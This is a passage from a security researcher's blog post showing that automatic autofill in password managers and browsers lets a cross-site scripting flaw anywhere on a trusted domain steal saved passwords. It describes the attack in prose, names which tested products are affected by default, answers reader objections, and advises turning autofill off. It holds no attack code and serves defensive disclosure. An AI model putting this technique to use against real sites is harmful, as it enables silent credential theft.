  • This is an attack on a different subdomain than where the data was stored. The stored password could be obtained from the password managers LastPass, Bitwarden and Roboform.

The video is for illustration only. I don't have access to the login email.
(Bitwarden was in the default configuration with autofill enabled without any additional settings.)

Recommendation

I would recommend all users to disable the autofill function completely. According to the analysis described above, it can be noticed that this feature has more negatives than positives.

All password managers should be able to turn off autofill. Turning it off for browsers can be problematic. For chromium-based browsers (except Edge), this option is not available at all. If you don't want your saved data to be autofilled, the only solution is to delete the saved password.

In the new version of Microsoft Edge (version 92.0.902.55) it is possible to set the password to be filled in only after the system password has been entered. This change can be made in Settings -> Passwords (edge://settings/passwords). In the "Sign In" section select "With device password".

Microsoft Edge 91.0.864.64 (tested), 91.0.864.71

Microsoft Edge 92.0.902.55

In Firefox, you can disable autofill in the settings. In the "Privacy & Security" (about:preferences#privacy) -> "Logins and Passwords" it is possible to uncheck "Autofill logins and passwords".

If, despite all the negatives, you want to use autofill, either for phishing control or for the convenience of logging in, I'd recommend setting up at least these changes:

  1. In the password manager, set up autofill only for the URL where the data was saved - not just the base domain.
  2. In a chromium-based browser, set the password manager to be active only when you click on the icon (chrome://extensions -> details -> site access). If you want to log in, just click on the extension icon and select "Reload". The password manager will be active at that moment and fill the data.
  3. Use autofill that required user interaction (manual autofill) - for filling you need to click in the password manager's UI

The most ideal setting would be option three. But if want to data pre-filled then I recommend combination of first two options. Unfortunately, some managers do not offer more advanced settings for autofill. This is similar to browsers. Except chroimum-based, it can be a problem to set the extension on click.

If you set any of the first two options, there are restrictions or risks involved:

  1. The login URL can be changed in various ways by the owner. If this change occurs, your credentials will not be automatically filled in and you will need to modify the URL in the password manager's settings.
  2. When the extension is activated after click, the password manager is active even after login - if the domain has not changed, but only the path in the URL. The password manager is enabled only for the current tab. Therefore, there is a risk of login credentials being stolen if you open a modified page from an attacker on the domain after logging in (after activating the password manager).

    (Example: If you click on the icon to log in to your account at https://example.com/login. After logging in, you are redirected to your account on URL https://example.com/account - the password manager is still active. If you open a modified page on the https://example.com domain in the current tab, your credentials may be stolen)

Conclusion

I know this is not a new technique. I just find it incomprehensible that even today there are still so many managers who have autofill enabled by default. Furthermore, I don't understand that in the media this feature is rather described as a useful feature to detect phishing sites, or as a feature that every good password manager should have. In my opinion, the benefit of this feature is very small compared to the potential risk.

It is relatively easy to recognize a phishing site. However, it is already very difficult for even experienced IT specialists to detect if a malicious script is injected on a website during normal web browsing.

If login credentials are leaked on a site, it does not necessarily mean that an attacker has accessed the database. He could have just exploited an XSS or other client-side vulnerability and obtained login credentials from users who only followed the advice that they should use a password manager. So please, if recommending password managers, supply that users turn off autofill or be set to fill only upon user request by clicking in password manager's UI.

Autofill enabled by default have 9 of the 16 tested password manager and browsers.

Including Keeper, which asks the user for autofill and highlights approval to the user, as well as the currently vulnerable KeePassXC-Browser, a total of 11 password managers in default configuration is possible to steal a saved password in one mouse click.

If autofill is additionally enabled without further configuration, that's a total 13 password managers for which it is possible to steal a saved password if the site is vulnerable to XSS (or a similar type of vulnerability).

I hope I have given you an idea of the possible risks of using the autofill function. If you see a login form filled out in your browser without your interaction, I hope that will be the trigger for you to make a change of your autofill settings. 🙂

FAQ

According to feedback from various forums, it seems that not everyone has understood the risks associated with automatic autofill. So I will try to explain the most common questions:

I recommend autofill to identify phishing sites

Yes, it is possible to use this feature, but the user should first know how to recognize a phishing site without a password manager. The user should know to verify the domain in the browser address bar.

If someone recommends a third-party application (=password manager) to detect it as well, it should definitely not be said: "You should use autofill in a password manager to detect phishing sites".

Why? And what type of autofill are you actually recommending with that sentence? If I use only the default settings (I won't count KeePassXC-Browser, and I'll follow the recommendation for Kepeer), 10 of the 16 password managers and browsers tested use automatic autofill by default.

If you want to recommend autofill to detect phishing sites, you should always specify that they should use manual autofill - requiring user interaction (click in UI extension). Or you should warn the user of the risks associated with the use of automatic autofill.

Why is it necessary to explain that he shouldn't use automatic autofill?

To detect phishing sites automatic autofill will work correctly. The problem will occur with trusted sites where you have saved your password. With automatic autofill, credentials are filled completely without your interaction and forms may be filled in that you can't even see.

XSS is not a rare vulnerability and most sites have this vulnerability. If someone finds and exploits Stored XSS, can you detect modified page without opening link? For example: https://www.amazon.com/TCL-32-inch-Class-Smart-Android/dp/B08P4WR6XB

The site is trustworthy. If an attacker found a Stored XSS vulnerability on the page and the victim uses automatic autofill, then just by opening this link, the victim's stored password for the amazon.com domain will be stolen.

If I know an XSS vulnerability, I can get the user's session

Yes, that's true, but is it possible to get his password as well? No. It is possible to retrieve information from the logged-in account, change or reset its password (if the web application allows it), but it is not possible to steal his current password.

Another important thing. What if the user is not logged in? Then how will his session be stolen? For the attack described above, the victim does not need to be logged in at all.

In a corporate environment, domain credentials can be used to log in to a web application (Jira, Confluence, GitHub, etc.). If an attacker obtains these login credentials, they can use them to escalate another attack. Can an attacker get a "domain session" using XSS? If I'm not mistaken, no.

If an attacker uses the technique described above, he will not lose anything, he can only get another important data...

Attacker can set up a keylogger or fake login screen and wait for you to type or paste in your password yourself.

Exactly, you have to wait! Why should the attacker wait when he can have the data immediately?

I would have these questions:

  • Why should I log in again when I logged in a while ago?
  • Why is the login window on a different page than what I normally login to?
  • If I go back, will I be logged out too?

The goal of the attacker is to be inconspicuous, and to carry out the attack quietly. It is also necessary that the attacker's technique requires as little interaction from the victim as possible - ideally none. If a "fake login screen" is used, this is nothing more than social engineering -> without significant interaction from the victim, the attacker will not get the password.

I will try to explain what the victim has to do on the "fake login screen":

Manually typing the password::

  1. Open URL
  2. Click into username input
  3. Filling in the username
  4. Click into password input
  5. Filling in the password

Manual autofill:

  1. Open URL
  2. Click in the input or click on the password manager icon
  3. Selecting user data to fill in

And now the method described in this blog post

Automatic autofill:

  1. Open URL - at this point the attacker has already stolen the password from the password manager
  2. Click anywhere on the page - only for chromium-based browsers

Do you see the difference in cooperation from the victim? All actions except "Automatic autofill" require quite a lot of activity from the victim - he always have to want to enter data into the form. So again, why should the attacker wait when he can have the data immediately...?

Paul Wagenseil published an article based on that blog post (link). The article includes statements from employees of password managers Dashlane and LastPass.

"The only vulnerability identified is when an attacker has modified the website you're logging into, in which case they can steal your password whether or not you have autofill enabled." - Frédéric Rivain, CTO, Dashlane

The only vulnerability identified is when an attacker has modified the website you're logging into

No, that's not true. The XSS vulnerability could be anywhere on the website (see table with column Different URL Path). This is quite an important difference. XSS vulnerabilities are rare on the login page, while XSS vulnerabilities outside the login page are quite common.

in which case they can steal your password whether or not you have autofill enabled

I don't agree with the second part of the sentence either. If I give an example just for Dashlane, which has automatic autofill enabled by default, the difference is quite significant. With Dashlane, the password is stolen when the page is loaded (completely automatically), whereas with autofill turned off, the victim has to perform at least 2 significant actions (must voluntarily fill in the form data) - explained in the previous section.

In the gif, you can see that the page where the data was stolen is not a login page. The attack was done "silently" by simply opening the link. So just imagine that instead of websecurity.dev, the domain is Facebook.com, Twitter.com, Coinbase.com, or some other domain.

"we always recommend users only visit sites and click on links that they trust to prevent against potential attempts to steal login information." - Dan DeMichele, VP Product Management, LastPass

This is a very good recommendation, but only if you don't use a password manager that has automatic autofill enabled - LastPass has automatic autofill enabled by default. If you were to use a password manager that fills in passwords completely automatically, there may be a problem on a trusted site where you have your password stored.

Are the following links trustworthy?

  • https://paypal.com/signin
  • https://gitlab.com/Nyangawa/xss/merge_requests/1
  • https://www.starbucks.com/coffee/espresso/latte-macchiato
  • https://www.amazon.com/clouddrive/share/P9RHny1WRdZtZHKVnqzyXclDf6U7d2Ma9qy5Z5Y40

Is it possible to check before opening the page that they are really safe? If the link is opened by a password manager that completes forms completely automatically, then just opening it will lead to password stealing.

And the answer is: Even though these are all trusted domains, all of these sites have had the Stored XSS vulnerability in the past. If you had saved passwords on these domains in the past and you were using a password manager with automatic autofill enabled (e.g. LastPass), then simply opening the link would steal the saved password. If the users were using only manual autofill or none at all, the automatic password theft would not have occurred.

(References to the URLs: https://hackerone.com/reports/488147, https://hackerone.com/reports/508184, https://hackerone.com/reports/188972, https://miro.medium.com/max/1312/0*MB0lML2ypg48RBmk)